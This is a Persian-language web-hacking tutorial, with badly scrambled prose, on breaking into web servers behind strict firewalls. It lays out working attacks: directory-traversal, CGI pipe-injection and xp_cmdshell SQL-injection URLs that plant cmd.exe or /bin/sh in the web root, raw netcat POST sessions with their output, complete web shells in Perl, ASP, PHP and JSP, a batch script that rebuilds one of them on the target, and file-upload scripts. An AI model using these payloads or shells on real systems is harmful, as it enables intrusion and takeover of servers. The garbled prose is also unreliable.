ه  است تکنيکی روش این رای  ک ه  ب وذ  و حمل ه  نف ا  Web Server ب ا  Application Server و ه املا  ه ر  ک ی  HTTP Traffic ب  مبتن
ی  که شده ثابت نيز نکته این همچنين .است ا  محکم  های  Firewall از اگر  حت ز  SSL ی تفاده  ني وان  نمی  شود،  اس وی  ت ن  جل وع  ای  از ن

د  پيدا راه داخل به توانند می HTTP رمعتب های درخواست تنها اینکه فرض با البته .گرفت را حملات ز  و کنن ا  ني ر  های  پاسخ  تنه  معتب
HTTP کنند پيدا راه دیوارآتش از خارج به توانند می. 

  
ذیر  آسيب  سرور  وب یک  روی را دلخواه فایل یک که داشتم احتياج من که هنگامی اند، شده شروع 2000 سال از تقریبا تحقيقات این  پ
ده  محدود دیوارآتش یک از حال این در و کنم آپلود تفاده  کنن د  می  اس د  رشد  دیگری  های  تکنيک  آن، از پس  .کردن ن  مجموعه  و یافتن  ای

  .داد نتيجه را متدلوژی این ها تکنيک
  

   عمومیWeb Application 1/1 سيستم يک اجزای
 
  

  :از عبارتند که دارند وجود web application  سيستم یک در جز چهار
  
  

١. Web Client یک معمولا که گرمرور  browser باشد می.   
  

٢. front-end web server  
  

٣. application server  
  

 شود می استفاده نيز database server  یک از نيز ها application عمده برای سرانجام و .۴
 
  .کنند می کار و گرفته قرار یکدیگر کنار در اجزا این چگونه که دهد می نشان زیر رحط
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 اسکریپت  قالب  در است  ممکن تواند می منطق این که .کند می ميزبانی را application سرور web application  ایه لاگين تمام
ا  يا  ه ا  (object)اش ل  های  binary ی ه  front-end web server باشد  شده  کامپای وان  ب ر  application (interface) واسط  عن  ای ب

د  می  دریافت  HTTP  یا  HTML های فرم وسيله به ها web client از را ها ورودی همچنين کند، می نقش ایفای خارج دنيای  و کن
ار   در ل  آنکن ایی  خروجی  تحوی ه  ه د  HTML صفحات  قالب  در application توسط  ک ز  را است  شده  تولي ر  ني ده  ب ا  . دارد عه  ذات

application سرورهای ، با back-end DB داشت خواهد ارتباط معاملات انجام برای.  
 

ز  هيچ  اجازه  و شده پيکربندی کمیهم کاملا طور به که کنيم می فرض طور آن را دیوارآتش همچنين  HTTP درخواست  ورود جز  چي
 دهد نمی را HTTP های جواب خروج و
 
 
 

 Web Application سيستم  برایURL های نگاشت
 
ایی  URL web application  یک با اثر متقابل حين در ه  ه ين  ک تاده  web server و مرورگر  ب  معمولا  ، شوند  می  دریافت  و فرس

 :دارند زیر مانند ، قالبی
 

http:// server / path / application ? parameters 
  

   :دارند تعلق web application سيستم در مختلف نواحی به URL مختلف اجزای چگونه که سازد می مشخص زیر طرح
  

  
  
  

  دارند دیوارآتش در را خروج و ورود اجازه (https)یا http  پروتکل •
  

م  از front-end web server توسط  (path)مسير اقسام و سرور • ه  ه ذیری  آسيب  هر  .شوند  می  تجزی اد  در پ  از URL  مف
  شود اکسپلویت URL مسير و سرور با tampering با تواند می double-decode , Unicode قبيل

  
• Application یک توسط application server ام  .شود  می  اجرا است، شده ثبت یا پيکربندی آن با که ا  tampering انج  ب

ثلا ) شود  منجر  application server در موجود  های  پذیری آسيب کردن اکسپلویت به است ممکن بخش این وان  می  م ا  ت  ب
 کرد اجرا سپس و کرده کامپایل را دلخواه فایل یک JSP servlet handler از استفاده

  
  

شوند،  اعتبارسازی صحيح طور به که صورتی در application به (supplied)شده ارائه پارامترهای • ر  است  ممکن  ن  منجب
  در()open  فراخوانی برای pipe(|)رکاراکت کردن اضافه :مثلا) شوند  application آن خصوص در هایی پذیری آسيب  به

perl  
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ارامتر  یک اگر ه  پ وان  ب تفاده  SQL اتیاطلاع  بانک  گزارش  یک  از بخشی  عن ن  در شود،  اس ایی  صورت  ای ه  پارامتره ه  ک  صورت  ب

ه  وسيله به دلخواه دستورات اجرای مثلا) شد خواهند ناشی SQL Injection حملات به اند شده اعتبارسازی نادرستی ره  های  روی  ذخي
 خواهد نوشته Web Hacking حول که الکترونيکی کتاب در آینده در را مطالب این حول جزئی مباحث xp_cmdshell  قبيل از شده
  .کرد خواهيد نظاره شد،

 
  

  One-Way Web Hack يک برای فلوچارت
 

د  می  پيدا را پذیر آسيبweb application  یک نفوذگر یک که کنيد فرض را مثالی د  می  و کن را  توان ا  آن ایی  تکنيک  ب ل  از ه وا  قبي  م
ه  ردی ل  در ک سپلویت  شد،  داده توضيح  قب د  اک وذگر  . کن ه،  دست  دلخواه  دستورات  اجرای  هب  نف ا  یافت ه  ام ل  ب وارآتش  یک  وجود  دلي  دی

  :هستند ضروری چيز دو کنيم، موثر را حمله یک اینکه برای .برود پيش به بيشتر شبکه در نيست قادر محدودکننده،
  

١. Interactive Terminal access شبکه در ربيشت نفوذ یا حمله مورد سرور از دزدی منظور به دستورات اجرا برای 
 

٢. Fire Transfer access قبيل از حمله ابزارهای انتقال برای port scanner ها  rootkit ها backdoor و ها...  
 
 
 

رای  .بود نخواهد غيرممکن حال هر به ولی سازد، می سخت بسيار را فوق موارد به دستيابی م،هکم دیوارآتش یک ائق  ب دن  ف ر  آم ن  ب  ای
دار  با ها، محدودیت اره  دانش  کمی  مق ه  درب سی  برنام وانيم  می  web application نوی ه  را command prompt یک  ت ی  ک ر  مبتن  ب

web تحت یا Web یا WBCP یک یا کند کار  file uploader کنيم ایجاد را.  
  
ر  طرح در طوریکه را (one-way hack) روش این مختلف مراحل از قبلی اطلاع باید دیگر، اقدام هر از قبل شریح  زی  بدست  شده،  ت

  :آوریم
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  ورود نقاط کردن پيدا
  

one-way hack دور راه از دستور  اجرای به یابی دست به قادر که شود می شروع هنگامی یا RCE يم  هدف  سرور  وب روی  . باش
تفاده  مورد سرورها وب به حملات در که معمول های تکنيک از توانيم می رار  اس د،  می  ق تفاده  گيرن يم  اس ا  . کن د با م دادی  ی ال  تع  از مث

 قبل در آنچه طبق URL از برداری طرح مختلف های نوع بر مبنی را دور راه از دستور اجرای آوردن بدست در گوناگون های روش
ی  های بحث .کنيم معرفی شد، داده ، توضيح اره  جزئ ذیری  آسيب  و web server درب ن  هدف  از خارج  application های  پ ه  ای  مقال
 .(داشت خواهيم موضوعات این حول مفصل مباحثی آینده در چند هر) است

  
  

ا  با مهم این که است backdoor یک ایجاد ما هدف رجم  move فوتنت ) کردن  جابج ه  ... ) و cmd.exe )، /bin/sh  پوسته  مت  یک  ب
وانيم  می  روش، این با . شود می انجام سرور وب سند ی ریشه درون ناحيه رجم  ت يم  طلب  URL یک  بواسطه  را پوسته  مت ا  .کن  سه  م
سپلویت  های  تکنيک از استفاده با را ها  backdoor ایجاد چگونگی که دهيم می ارائه مثال د  می  توصيح  مختلف  کردن  اک  طرح   .ده
  :کند می تشریح را ورود نقطه یک کردن پيدا برای استفاده مورد های تکنيک از برخی زیر
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   URL Parsing کردن اکسپلويت
 

ذیری  آسيب  یک برای کلاسيک امثالی Unicode / Double decode  حملات ه  پ ا  URl  تجزی ند  می  URL parsing  ی  URL  باش
  کند می کپی سرور وب سندِ ریشه درون "/scripts" ی شاخه به را cmd.exe دستور مترجم زیر

 
 

http://www1.example.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+ 
c:\winnt\system32\cmd.exe+c:\inetpub\scripts 

  معتبرشده ضعيف پارامترهای کردن اکسپلويت
  
 می news.cgi  نامش و هست perl  با که CGI  اسکریپت یک به URL یک از (unchecked)نشده چک پارامتر یک مثال، این در
  .شود می انجام (insecure) امن نا تیوضعي در()open فراخوانی ی وسيله به کار این که شود می داده گذر باشد

  
 

http://www2.example.com/cgi-bin/news.cgi?story=101003.txt|cp+/bin/sh+ 
/usr/local/apache/cgi-bin/sh.cgi| 

  
Shell ریشه یا(/bin/sh) شاخه در cgi-bin  عنوان به  sh.cgi شود می کپی.   

  
  

  SQL Injection کردن اکسپلويت
 
 و database server یک روی  شده ذخيره رویه یک (invoke) گرفتن برای را SQL Injection  از استفاده چگونگی ما اینجا، در

  .کنيم می بررسی شده ذخيره های رویه وسيله به دستورات اجرای سپس
 
 

http://www3.example.com/product.asp?id=5%01EXEC+master..xp_cmdshell+ 
'copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\' 
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Invokeدستو ر مترجم  کردن  
 

وانيم  که است این حقيقت در وب سندِ ریشه به Shell  یا دستور مترجم انتقال وسيله به backdoor ایجاد از ما هدف را  بت  دور راه از آن
 های  داده POST از استفاده با .تاس هدف این برای درخواست بهترین HTTP POST روش .کنيم invoke و خواسته HTTP روی

د  های  ورودی سرور  وب و شوند  می  داده گذر استاندارد ورودی روی  (invoked)شده خواسته منبع به ورودی ، ه  شده  تولي يله  ب  وس
  .گرداند برمی را  HTTP ارتباط روی استاندارد خروجی

 
ا  POST روی را دستور مترجم به دستورها ارسال چگونگی باید ما ال  دو ب يم  توضيح  مث رای  یکی  . ده  و IIS  روی CMD.EXE ب

Windows NT برای دیگری و sh.cgi از کپی یک که/bin/sh روی (باشد می Apache و Linux) 
  
  
  

POSTبه دستورات  کردن CMD.exe 
  

  روی که  CMD.exe روی را اجرا حال در دستور دو زیر مثال
 

http://www.example.com/scripts/cmd.exe    
  

  است شده داده نشان آبی حروف با POST درخواست .دهد می نشان (است دسترس قابل
 
 

$ nc www.example.com 80 
 
POST /scripts/cmd.exe HTTP/1.0 
Host: www1.example.com 
Content-length: 17 
 
 
ver 
dir c:\ 
exit 
 
 
HTTP/1.1 200 OK 
Server: Microsoft-IIS/4.0 
Date: Wed, 08 Dec 1999 06:13:19 GMT 
Content-Type: application/octet-stream 
Microsoft(R) Windows NT(TM) 
(C) Copyright 1985-1996 Microsoft Corp. 
C:\Inetpub\scripts>ver 
Windows NT Version 4.0 
C:\Inetpub\scripts>dir c:\ 
Volume in drive C has no label. 
Volume Serial Number is E43A-2A0A 
Directory of c:\ 
10/04/00 05:28a <DIR> WINNT 
10/04/00 05:31a <DIR> Program Files 
10/04/00 05:37a <DIR> TEMP 
10/04/00 07:01a <DIR> Inetpub 
10/04/00 07:01a <DIR> certs 
11/28/00 05:12p <DIR> software 
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12/06/00 03:46p <DIR> src 
12/07/00 12:50p <DIR> weblogic 
12/07/00 12:53p <DIR> weblogic_publish 
12/07/99 01:11p <DIR> JavaWebServer2.0 
12/07/99 06:49p 134,217,728 pagefile.sys 
12/07/99 07:24a <DIR> urlscan 
12/07/99 04:55a <DIR> Netscape 
13 File(s) 134,217,728 bytes 
120,782,848 bytes free 
C:\Inetpub\scripts>exit 
$ 

  
ه  را دستورها تا است لازمCMD.exe برای توجه مقداری د  دریافت  صحيح  طور  ب ين  و کن داری  همچن رای  توجه  مق ه  سرور  وب ب  ک
وق،  مثال در . برگرداند صحيح طور به را CMD.exe خروجی ا  ف ز  را "exit"دستور  م ردیم  اضافه  ني ا  ک ان  ت يم  حاصل  اطمين ه  کن  ک
ان  ه   ورودی جری ه  CMD.exe ب ان پا کامل  طور  ب ه  ی ين  . است  یافت وط  Content-Length همچن ه  مرب ا POST درخواست  ب  نتيجات
  .بسپاریم خاطر به را شود می ایجاد "exit"وسيله به که اضافی کاراکترهای باید که می شود محاسبه

 
 

POSTبه دستورات  کردن/bin/sh  
 

ر  مثال ا  اجرا  حال  در دستور  سه  زی ه  bin/sh/ب ل  http://www2.example.com/cgi-bin/sh.cgi روی ک  را ( است  دسترس  قاب
  :اند شده داده نمایش POST درخواست .دهد می (نشان

 
$ nc www2.example.com 80 
POST /cgi-bin/sh.cgi HTTP/1.0 
Host: www2.example.com 
Content-type: text/html 
Content-length: 60 
echo 'Content-type: text/html' 
echo 
uname 
id 
ls -la / 
exit 
HTTP/1.1 200 OK 
Date: Thu, 27 Nov 2003 20:47:20 GMT 
Server: Apache/1.3.12 
Connection: close 
Content-Type: text/html 
Linux 
uid=99(nobody) gid=99(nobody) groups=99(nobody) 
total 116 
drwxr-xr-x 19 root root 4096 Feb 2 2002 . 
drwxr-xr-x 19 root root 4096 Feb 2 2002 .. 
drwxr-xr-x 2 root root 4096 Jun 20 2001 bin 
drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot 
drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev 
drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc 
drwxr-xr-x 8 root root 4096 Dec 1 2001 home 
drwxr-xr-x 4 root root 4096 Jun 19 2001 lib 
drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found 
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drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt 
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt 
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc 
drwxr-x--- 9 root root 4096 Feb 9 2003 root 
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin 
drwxrwxr-x 2 root root 4096 Feb 2 2002 src 
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp 
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr 
1 input steam 
drwxr-xr-x 16 root root 4096 Jun 19 2001 var 
$ 

  
دکی  Apache روی bin/sh/به نسبت لازمه توجه اوت  ان ام  از  درستی  حالت  را HTTP در جواب  هدر  یک  Apache  است  متف  تم

ن  از دارد، انتظار  CGI های پلاتفرم ور  رو ای ه  هستيم  مجب ل  از خروجی  در را "Content-Type: text/html"خطوط  ک امعلوم  قب  ن
  .هستند هدف این برای "echo"دستور دو .سازیم 
  
  

  POST فرآيند  کردن اتوماتيک
 

ا  م  ساخته  (post_cmd.pl)و post_sh.pl دو اسکریپت  Perl  در م ه  ای ا  ک ا  ب وان  می  آنه ه  ت دارک  ی وظيف دن  ت   های  درخواست  دی
POST  رای  صحيح تادن  و دستورها  ب ا  فرس ه  آنه ام  اتوماتيک  را سرور  وب ب رای  (syntax) ترکيب  . داد انج  کردن   invoke ب

post_cmd.pl  باشد می زیر صورت به: 
  
 

usage: post_cmd.pl url [proxy:port] < data 
post_cmd.pl takes all the data to be POSTed to the URL as 
standard input. Either enter the data manually and hit ^D (unix) 
or ^Z (dos) to end; or redirect the data using files or pipes 

  
  

post_cmd.pl های  درخواست  چنين تواند می که شده نوشته طوری POST را سرور  پراکسی  یک  روی tunnel  د  post_sh.pl کن
 .است مشابه خطوطی روی

  
ان، خود POST های  درخواست  دهی قالب بجای Perl های اسکریپت از استفاده با که نتایجی همان زیر های مثال  را شد  می  نتيجه  م
 :دهد می نشان

 
  post_cmd.pl :خروجی

  
$ ./post_cmd.pl http://www1.example.com/scripts/cmd.exe 
ver 
dir c:\ 
^D 
HTTP/1.1 200 OK 
Server: Microsoft-IIS/4.0 
Date: Wed, 08 Dec 1999 06:05:46 GMT 
Content-Type: application/octet-stream 
Microsoft(R) Windows NT(TM) 
(C) Copyright 1985-1996 Microsoft Corp. 
C:\Inetpub\scripts>ver 
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Windows NT Version 4.0 
C:\Inetpub\scripts>dir c:\ 
Volume in drive C has no label. 
Volume Serial Number is E43A-2A0A 
Directory of c:\ 
10/04/00 05:28a <DIR> WINNT 
10/04/00 05:31a <DIR> Program Files 
10/04/00 05:37a <DIR> TEMP 
10/04/00 07:01a <DIR> Inetpub 
10/04/00 07:01a <DIR> certs 
11/28/00 05:12p <DIR> software 
12/06/00 03:46p <DIR> src 
12/07/00 12:50p <DIR> weblogic 
12/07/00 12:53p <DIR> weblogic_publish 
12/07/99 01:11p <DIR> JavaWebServer2.0 
12/07/99 06:49p 134,217,728 pagefile.sys 
12/07/99 07:24a <DIR> urlscan 
12/07/99 04:55a <DIR> Netscape 
13 File(s) 134,217,728 bytes 
120,782,848 bytes free 
C:\Inetpub\scripts>exit 
$ 

  post_sh.pl :خروجی
  

$ ./post_sh.pl http://www2.example.com/cgi-bin/sh.cgi 
uname 
id 
ls -la / 
^D 
HTTP/1.1 200 OK 
Date: Thu, 27 Nov 2003 20:43:54 GMT 
Server: Apache/1.3.12 
Connection: close 
Content-Type: text/html 
Linux 
uid=99(nobody) gid=99(nobody) groups=99(nobody) 
total 116 
drwxr-xr-x 19 root root 4096 Feb 2 2002 . 
drwxr-xr-x 19 root root 4096 Feb 2 2002 .. 
drwxr-xr-x 2 root root 4096 Jun 20 2001 bin 
drwxr-xr-x 2 root root 4096 Nov 28 02:01 boot 
drwxr-xr-x 6 root root 36864 Nov 28 02:01 dev 
drwxr-xr-x 29 root root 4096 Nov 28 02:01 etc 
drwxr-xr-x 8 root root 4096 Dec 1 2001 home 
drwxr-xr-x 4 root root 4096 Jun 19 2001 lib 
drwxr-xr-x 2 root root 16384 Jun 19 2001 lost+found 
drwxr-xr-x 4 root root 4096 Jun 19 2001 mnt 
drwxr-xr-x 3 root root 4096 Feb 2 2002 opt 
dr-xr-xr-x 37 root root 0 Nov 28 2003 proc 
drwxr-x--- 9 root root 4096 Feb 9 2003 root 
drwxr-xr-x 3 root root 4096 Jun 20 2001 sbin 
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drwxrwxr-x 2 root root 4096 Feb 2 2002 src 
drwxrwxrwt 7 root root 4096 Nov 28 02:01 tmp 
drwxr-xr-x 4 root root 4096 Feb 2 2002 u01 
drwxr-xr-x 21 root root 4096 Feb 2 2002 usr 
drwxr-xr-x 16 root root 4096 Jun 19 2001 var 
$ 

  
شر  و ارسال HTTP POST های درخواست استفاده با هدف سرور وب به را دستور چندین توانيم می وضعيت، این در يم  منت ن  . کن  ای
  . قبل بحث شد قسمت در که طور همان گيرد قرار استفاده مورد سرور وب روی دلخواه های فایل ایجاد برای باید فکر

  
Command Promptبر  مبتنی(WBCP) Web   

  
 یا کار ین ا معمول های راه . کنيم اجرا متقابل صورت به هدف سرور وب روی را دستورات که داریم نياز RCE  به یابی دست از بعد
ه  را xterm یک اینکه یا باشد می مقصد سيستم در  TCP پورت یک روی آن کردن bind سپس و shell یک ایجاد ، شگر  یک  ب  نمای

X درخواست به تنها که محکم دیوارآتش یک با مواقع بعضی حال، هر به . بفرستيم و ساخته روانه دور راه HTTP ترافيک عنوان به 
ا  در . داشت  نخواهد کارکرد حمله های تکنيک بعضی دهد، می عبور اجازه خروجی ترافيک ان عنو به HTTP جواب و ورودی  اینج

  .آیيد فائق نيز ها محدودیت این بر تا بزنيم مثال شما برای "ها WBCP یا Web تحت های "command prompt از امثالی باید
 

ن  . دهد می ارائه ما برای HTML  فرم ک ی بوسيله را (semi-interactive)تقابلی-نيمه sِhellیک WBCP  یک رم  ای  را دستور  ف
  .دهد می نمایش pre-formatted متن یا text  یک عنوان به را خروجی نتيجه و پذیرد می <INPUT>یا ورودی عنوان ، به
  

ار  شاخه  مثل را ترمينال وضعيت آنها که است این هستند تقابلی-نيمه ،  Webتحت های command prompt اینکه دليل رد  ک ی  ک  فعل
ه  HTML های  فرم توسط توانند می موارد این . کند نمی حفظ را ... و  سيستم محيط ی  ک ر  مبتن ار  تنشس  ب د  می  ک ام  کنن ه  شود  انج  ک
 .هستم  جزئيات نوشتن به آماده نياز صورت در است مقاله این هدف از خارج

  
د  می  فرض  را سرور  وب عمل طرز اختيارات سطح هاییWBCP  چنين توسط شده اجرا دستورهای رای  . کنن ال،  ب رای  مث ستم  ب  سي
 اجرای  حال در که ویندوزی های سيستم برای که حالی در باشد می "nobody"برابر uid هستند Apache اجرای حال در که یونيکس

IIS برابر درجات باشند، می"IUSR_machinename" یا "IWAM_machinename" باشد می.   
 
  :بينيد می WBCP  یک از مثال چهار زیر در

  
perl_shell.cgi – Perl  

  
   .دهد می ارائه تقابلی-نيمه حالت درWBCP  یک کند می استفاده cgi-lib.pl و Perl از که زیر اسکریپت

  
#!/usr/bin/perl 
require "cgi-lib.pl"; 
print &PrintHeader; 
print "<FORM ACTION=perl_shell.cgi METHOD=GET>\n"; 
print "<INPUT NAME=cmd TYPE=TEXT>\n"; 
print "<INPUT TYPE=SUBMIT VALUE=Run>\n"; 
print "</FORM>\n"; 
&ReadParse(*in); 
if($in{'cmd'} ne "") { 
print "<PRE>\n$in{'cmd'}\n\n"; 
print `/bin/bash -c "$in{'cmd'}"`; 
print "</PRE>\n"; 
} 
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cmdasp.asp – ASP 
  

ر  ای نسخه cmdasp.asp است باشند، می IIS  اجرای حال در که ویندوزی های سيستم برای WBCP زیر یک ASP  اسکریپت  تغيي
  است شده نوشته  Maceo توسط که بوده اصلی اسکریپت از یافته

  
<% 
Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile 
On Error Resume Next 
Set oScript = Server.CreateObject("WSCRIPT.SHELL") 
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") 
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") 
szCMD = Request.Form(".CMD") 
If (szCMD <> "") Then 
szTempFile = "C:\" & oFileSys.GetTempName( ) 
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) 
Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) 
End If 
%> 
<FORM action="<%= Request.ServerVariables("URL") %>" method="POST"> 
<input type=text name=".CMD" size=45 value="<%= szCMD %>"> 
<input type=submit value="Run"> 
</FORM> 
<PRE> 
<% 
If (IsObject(oFile)) Then 
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On Error Resume Next 
Response.Write Server.HTMLEncode(oFile.ReadAll) 
oFile.Close 
Call oFileSys.DeleteFile(szTempFile, True) 
End If 
%> 
</PRE> 

  

  
  

ه  است این  ASP تحت های command prompt دیگر از اسکریپت این برتری رای  ک اجی  هيچ  shell دستورهای  اجرای  ب ه  احتي  ب
COM component برای ها register ندارد لازم نيز  مدیر دسترسی سطح همچنين .نيست شدن.  

  
  

sys.php – PHP  
  

   .سازد می روشن PHP در را  web تحت shell  یک زیر اسکریپت .باشد می راحت بسيار PHP با web تحت shell یک ایجاد
  

<FORM ACTION="sys.php" METHOD=POST> 
Command: <INPUT TYPE=TEXT NAME=cmd> 
<INPUT TYPE=SUBMIT VALUE="Run"> 
<FORM> 
<PRE> 
<?php 
if(isset($cmd)) { 
system($cmd); 
} 
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?> 
<PRE> 

  

  
  

JSP - cmdexec.jsp 
  
  کنند می پشتيبانی نيز ( JSP)یا Java Server Pages از که باشد می J2EE  های سرور برای WBCP  یک زیر JSP  کد
  

<FORM METHOD=GET ACTION='cmdexec.jsp'> 
<INPUT name='cmd' type=text> 
<INPUT type=submit value='Run'> 
</FORM> 
<%@ page import="java.io.*" %> 
<% 
String cmd = request.getParameter("cmd"); 
String output = ""; 
if(cmd != null) { 
String s = null; 
try { 
Process p = Runtime.getRuntime().exec(cmd); 
BufferedReader sI = new BufferedReader(new 
InputStreamReader(p.getInputStream())); 
while((s = sI.readLine()) != null) { 
output += s; 
} 
} 
catch(IOException e) { 
e.printStackTrace(); 
} 
} 
%> 
<pre> 
<%=output %> 
</pre> 
(Thanks to Shreeraj Shah for cmdexec.jsp) 

  
ی  دستورات دهد می اجازه که ها web app  برای نویسی برنامه زبان هر د  می  شوند،  اجرا  OS  محل رای  توان اد  ب   WBCP یک  ایج

 .شود استفاده
  
 

 WBCP نصب
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ل  از دستوراتی  توانيم می ما RCE یا دور ه را از دستور اجرای از استفاده با رده  اجرا  را "echo" قبي ل  یک  در را خروجی  و ک    فای
redirect دستور چندین از استفاده با .کنيم"echo" سرورِ وب روی فایل یک توانيم می ما ، remote ا  . کنيم ایجاد ه  تنه  ضروری  نکت

  .داریم احتياج هدف سرور وب روی (writeable) نوشت قابل ی شاخه یک به ما که است این شود گرفته نظر در ، باید قبل از که
 
 
  

create_cmdasp.bat  
  
 را  cmdasp.asp فایل و شده اجرا Windows DOS Prompt یک روی توانند می که بينيد می را دستورها از ای مجموعه زیر رد

 کنند ایجاد مجددا است، شده داده نشان های قبل اشاره شد؛ قسمت در که طور همان
  

echo ^<^% > cmdasp.asp 
echo Dim oScript, oScriptNet, oFileSys, oFile, szCMD, szTempFile >> cmdasp.asp 
echo On Error Resume Next >> cmdasp.asp 
echo Set oScript = Server.CreateObject(^"WSCRIPT.SHELL^") >> cmdasp.asp 
echo Set oScriptNet = Server.CreateObject(^"WSCRIPT.NETWORK^") >> cmdasp.asp 
echo Set oFileSys = Server.CreateObject(^"Scripting.FileSystemObject^") 
>> cmdasp.asp 
echo szCMD = Request.Form(^".CMD^") >> cmdasp.asp 
echo If (szCMD ^<^> ^"^") Then >> cmdasp.asp 
echo szTempFile = ^"C:\^" & oFileSys.GetTempName() >> cmdasp.asp 
echo Call oScript.Run(^"cmd.exe /c ^" ^& szCMD ^& ^" ^> ^" ^& szTempFile,0,True) 
>> cmdasp.asp 
echo Set oFle = oFileSys.OpenTextFile(szTempFile,1,False,0) >> cmdasp.asp 
echo End If >> cmdasp.asp 
echo ^%^> >> cmdasp.asp 
echo ^<FORM action=^"^<^%= Request.ServerVariables(^"URL^") ^%^>^" method=^"POST^"^> 
>> cmdasp.asp 
echo ^<input type=text name=^".CMD^" size=70 value=^"^<^%= szCMD ^%^>^"^> >> cmdasp.asp 
echo ^<input type=submit value=^"Run^"^> >> cmdasp.asp 
echo ^</FORM^> >> cmdasp.asp 
echo ^<PRE^> >> cmdasp.asp 
echo ^<^% >> cmdasp.asp 
echo If (IsObject(oFile)) Then >> cmdasp.asp 
echo On Error Resume Next >> cmdasp.asp 
echo Response.Write Server.HTMLEncode(oFile.ReadAll) >> cmdasp.asp 
echo oFile.Close >> cmdasp.asp 
echo Call oFileSys.DeleteFile(szTempFile, True) >> cmdasp.asp 
echo End If >> cmdasp.asp 
echo ^%^> >> cmdasp.asp 
echo ^<^/PRE^> >> cmdasp.asp 

  
ل  و شوند اجرا post_cmd.pl مثل فایل یک ی بواسطه توانند می فوق دستورات اد  هدف  سرور  وب روی را "cmdasp.asp"فای  ایج

لِ  هر  "echo"قبيل از دستوراتی از استفاده با حالت، همان به .کنند د  می  دلخواهی  text فای اد  مجددا  سرور  روی توان -Meta شود  ایج
character های Shell قبيل از &, ", <, >, |, %,کاراکترهای با درستی به بایستی  escape مناسب escape شوند  

  
دوز،  تحت  Shell  برابر "\"در و باشد می escape کاراکتر یونيکس، تحت های Shell از بسياری در اراکتر  وین  "^"  می  escape ک

  (re-create).شوند ایجاد مجددا ظرن مورد سرورهای وب روی حالت همين به توانند می ها WBCP دیگر .باشد برابر
  

  باينری دلخواه های فايل مجدد-ايجاد
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ه  شبيه که هایی shell روی ند،  Unix Bourne ب تفاده  امکان  باش رای  "echo"دستور  از اس  در دلخواه  کاراکترهای  (write)نوشتن  ب
ه  HH که شود می انجام "xHH\"قالب از استفاده با کار این که دارد، وجود فایل یک دار  یک  ب ای  در رقمی  دو (value)مق انزده  مبن  ش
  :قبيل از شود، داده نمایش ، 16 مبنای در رقمی دو های شماره از رشته یک توسط تواند می دودویی یا باینری فایل یک .گردد می بر
 

echo -e "\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE\x0B\xAD\xC0\xDE" > file 
  
د  نمی CMD.exe  اگرچه  دارد، وجود  دویی دو های فایل مجدد ساخت امکان ویندوز در سد  را دلخواه  کاراکترهای  توان ه  . بنوی  ی حق
ه  نهایت در که باشد میnon-interactive  یا scripted حالت در DEBUG.exe از استفاده در کار يله  ب ن  وس ل  ای وان  می  فای ل  ت  فای
  .کرد ایجاد دودویی دلخواه  های

 
File Uploader  

  
ه  علاقه است ممکن نفوذگر یک هدف، سرور وب روی فایل اجرای بر علاوه ال  ب ل  انتق ز  فای ه  ني ورد  سرور  وب ب  . باشد  خود  نظر  م
ع  برای . داشت نخواهند کارکرد آن، جلوگيری و دیوارآتش وجود دليل به ... وNetBIOS ،NFS ، FTP مانند معمول های تکنيک  رف

ه   قسمت در مذکور تکنيک .داریم File Uploader  یک ایجاد به احتياج مشکل این ه البت رای  های قبل گفته شده ک ل  ب يم  های  فای  و حج
  !دارد وجود بهتر راهی اگرچه، بود خواهد کند بسيار بزرگ

  
 درخواست یک در فایل محتویات .کنيم آپلود HTTP POST Multipart-MIME روش وسيله به را ها فایل که دارد وجود امکان این

HTTP Post یک سرور، روی بر .شوند می فرستاده سرور سمت به و گرفته رارق upload script رده  دریافت را محتویات این  و ک
 از خارج HTTP Multipart-MIME POST های درخواست به راجع جزئی های بحث .کند می save و ذخيره فایل یک در را آنها
 .(هستم موضوع این به راجع تخصصی بسيار مباحثی تننوش به حاضر نياز صورت در که) باشد می مقاله این هدف

 
 را نوشتن و ایجاد (Privilege) دسترسی سطح و امتياز سرور وب پروسه آنجا در که هستيم ای شاخه یک نيازمند آپلودها، انجام برای
  .... و nobody, IUSR_machinename, IWAM_machinename  دارد

  
   :ایم کرده ذکر را ها upload script  چنين به راجع مثال سه زیر در
  
 

upload.inc  &   upload.asp– ASP 
  
ل  دو ر  فای رای  کدی  حاوی  زی ره  و HTTP POST Multipart-MIME اطلاعات  دریافت  ب ل  یک  در آن ذخي ند  می  فای  ASP  باش

ين  حاوی  رای  ساختی  درون های  روت شائی  ب دارد  Multipart-MIME شده  رمزنگاری  اطلاعات  رمزگ ا  . ن ل  براین،بن  مکمل  فای
upload.inc است نياز مورد باشد، مناسبی های روتين حاوی که. 

 
 

upload.asp: 
<form method=post ENCTYPE="multipart/form-data"> 
<input type=file name="File1"> 
<input type="submit" Name="Action" value="Upload"> 
</form> 
<hr> 
<!--#INCLUDE FILE="upload.inc"--> 
<% 
If Request.ServerVariables("REQUEST_METHOD") = "POST" Then 
Set Fields = GetUpload() 
If Fields("File1").FileName <> "" Then 
Fields("File1").Value.SaveAs Server.MapPath(".") & "\" & Fields("File1").FileName 
Response.Write("<LI>Upload: " & Fields("File1").FileName) 
End If 
End If 
%> 
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upload.cgi – Perl  
  
اری  uploader اسکریپت یک ایجاد cgi-lib.pl و Perl از استفاده با ار  بس  ک د  راحت  ی ود  خواه ال  . ب ر  مث ن  چگونگی  زی ار  ای  را ک

 :دهد می نشان
  
 

#!/usr/bin/perl 
require "cgi-lib.pl"; 
print &PrintHeader; 
print "<form method='POST' enctype='multipart/form-data' action='upload.cgi'>\n"; 
print "File path: <input type=file name=upfile>\n"; 
print "<input type=submit value=upload></form>\n"; 
&ReadParse; 

  

  
  
